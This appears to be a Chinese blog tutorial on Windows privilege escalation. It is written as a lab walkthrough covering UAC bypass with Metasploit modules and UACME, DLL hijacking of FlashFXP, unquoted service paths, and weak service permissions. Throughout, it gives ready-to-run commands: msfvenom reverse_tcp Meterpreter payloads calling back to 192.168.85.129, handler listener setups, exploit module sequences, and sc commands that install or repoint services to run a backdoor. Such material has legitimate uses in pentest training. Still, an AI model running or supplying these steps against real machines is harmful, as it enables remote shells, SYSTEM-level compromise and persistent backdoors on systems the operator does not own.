0x01 bypassuac提权
UAC是一个账户访问控制,运行一些程序时,会提醒是否运行这个程序
![](https://i-blog.csdnimg.cn/blog_migrate/52f1e3c51c8c75e82e79b2c2cc9fa9c2.png)
一.msf绕过uac
环境:win10,win7 管理员用户组的用户
#生成木马
msfvenom -p windows/meterpreter/reverse_tcp lport=4444 lhost=192.168.85.129 -f exe -o 11.exe
开启监听
use multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 0.0.0.0
run
msf成功上线,可以使用msf的自动化提权
getsystem #会尝试一些基本提权方法进行提权,如令牌窃取,进程注入等
![](https://i-blog.csdnimg.cn/blog_migrate/90c489dcf9f2fcc46aaab3c4298c6588.png)
可以看到getsystem失败了,可以使用msf的模块进行绕过uac的检测
win7:
use exploit/windows/local/bypassuac
set session 1
getuid
getsystem
getuid
成功提权:
![](https://i-blog.csdnimg.cn/blog_migrate/d8da455258bfe794f4f3e46b7a23aa64.png)
UAC设置有三个等级:低,中,高,默认为中
![](https://i-blog.csdnimg.cn/blog_migrate/a553921f1b2ab1e42a9d8c007b97ce49.png)
当设置为高级时:
exploit/windows/local/bypassuac不好用了,提权不了
use exploit/windows/local/ask #需要用户点击才可以
set session 1
run
getuid
getsystem
getuid
![](https://i-blog.csdnimg.cn/blog_migrate/6fe2c9854a8943b0187d5a4776f5ee44.png)
用户点击才可以提权
![](https://i-blog.csdnimg.cn/blog_migrate/bec667d68a3511312f0dbbae1bcc6837.png)
win10:
#这三个模块都可以win7不可用
use exploit/windows/local/ask
use exploit/windows/local/bypassuac_sluihijack
use exploit/windows/local/bypassuac_silentcleanup
#使用第二个模块
use exploit/windows/local/bypassuac_sluihijack
set session 1
run
getuid
getsystem
getuid
![](https://i-blog.csdnimg.cn/blog_migrate/a805bc5c0913333d6e1f4afe493fee70.png)
刚开始getsystem失败
![](https://i-blog.csdnimg.cn/blog_migrate/95b7af6069b78946b7528eb67538563c.png)
msf共有十几个uac模块,灵活应用
![](https://i-blog.csdnimg.cn/blog_migrate/491659bdf02d05b30497d00ab43a8a29.png)
bypassuac注意需要用户在管理员组,并且uac是开启状态,uac如果是关闭状态是可以直接getsystem进行提权的
二.工具uac绕过
工具:uacme
环境:win7
uac为默认,中等级,高等级需要点击才能够执行
uacme有70多种绕过方法,比较好用的几种41,23,61
Akagi64.exe #会弹出一个cmd窗口,权限高
![](https://i-blog.csdnimg.cn/blog_migrate/aaa2e3814cdfe69700d57cc8d27b61a9.png)
Akagi64.exe 41 位置+111.exe #以高权限调用后门
Akagi64.exe 第几个方法 执行的东西
![](https://i-blog.csdnimg.cn/blog_migrate/87241fc3cd184082cbd49e1ff39bdc78.png)
![](https://i-blog.csdnimg.cn/blog_migrate/58971499eda7fbe8e43967f50c0c3b5c.png)
0x02 dll劫持提权
windows程序启动的时候需要dll,可以通过把后门写成dll文件覆盖原有的dll文件,等待管理员点击进行提权。dll文件的搜寻顺序
1、应用程序加载的目录
2、C:\Windows\System32
3、C:\Windows\System
4、C:\Windows
5、当前工作目录Current Working Directory,CWD
6、在PATH环境变量的目录(先系统后用户)
一般dll劫持的是在应用程序的加载目录,其他地方可能没有权限
环境:win2016 flashfxp(ftp)
1.信息搜集(应用程序调用的dll文件,一般是分析程序启动目录)
2.创建dll后门
3.上传并覆盖
4.等待应用执行
分析工具:
火绒剑,ChkDllHijack
火绒剑使用:
![](https://i-blog.csdnimg.cn/blog_migrate/42e1c57ceb3e7a7aaca7e7a34e800695.png)
ChkDllHijack使用:
成功:
![](https://i-blog.csdnimg.cn/blog_migrate/d8622d70f08c56a89246ad84f54e9915.png)
失败(不可dll劫持):
![](https://i-blog.csdnimg.cn/blog_migrate/f485a7ce641fdff6c2b807b5df565568.png)
msf生成dll文件:
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.85.129 lport=3344 -f dll -o 1.dll
开启监听
use multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 0.0.0.0
set lpor 3344
run
上传重命名覆盖,执行flashfxp,成功上线
![](https://i-blog.csdnimg.cn/blog_migrate/5025bc0a1ff41dbb059eed71f821e078.png)
0x03引号路径提权
当服务是没有引号又有空格是就会造成提权,系统会把空格前的当作exe程序,把后面的当作参数,可以生成一个和前面名字一样的后门exe,当服务启动时,会成功上线,如果是系统服务,那获得的就是system权限;当有引号担忧空格时,就会当作一个整体,没有安全问题
环境:win2016+macro_expert_enterprise-win服务
检测命令:
排除c盘的windows主要是因为没有权限
wmic service get name,displayname,pathname,startmode |findstr /i "Auto" |findstr /i /v "C:\Windows\\" |findstr /i /v """
![](https://i-blog.csdnimg.cn/blog_migrate/9263ff6faaedc3d1ac8ea00d93a4b4ee.png)
检测工具:
ps脚本 jaws
![](https://i-blog.csdnimg.cn/blog_migrate/2b43ac8337cc6918fa294e8cb040f134.png)
msf生成和服务空格前一样的exe后门程序,放到对应启动的位置,放到C盘
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.85.129 lport=4444 -f exe -o Program.exe
开启监听
use multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 0.0.0.0
run
先关闭服务:
sc stop "Macro Expert"
后重启服务
sc start "Macro Expert"
成功上线:
![](https://i-blog.csdnimg.cn/blog_migrate/0d1e910fbc190ed1ed56c4a27a09cd40.png)
0x04 服务权限提权
对权限控制不到位,导致用户可以更改服务执行的程序
正常来说是改不了的
![](https://i-blog.csdnimg.cn/blog_migrate/811aaf375f402c4e7135996862f1987a.png)
环境:win2016
检测工具:
jaws ps脚本
![](https://i-blog.csdnimg.cn/blog_migrate/4a05838214a3510d47a3c97ec66cb285.png)
accesschk :
accesschk.exe -uwcqv "administrators" *
![](https://i-blog.csdnimg.cn/blog_migrate/9671546bd904d0a5346f8921c60541eb.png)
找可以改的service_all_access
创建一个服务:
sc create test start= auto binPath="C:\1.exe"
msf生成和服务空格前一样的exe后门程序,放到对应启动的位置,放到C盘
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.85.129 lport=4444 -f exe -o Program.exe
开启监听
use multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 0.0.0.0
run
更改服务程序路径,并启动服务
sc config "test" binpath="C:\Program.exe"
sc start test
成功上线并提权,这里很快就关闭了,可能是因为自己创建的服务,如果是系统的,应该就不会掉线了
![](https://i-blog.csdnimg.cn/blog_migrate/31c12fc67548ed96ca411dfd727211ff.png)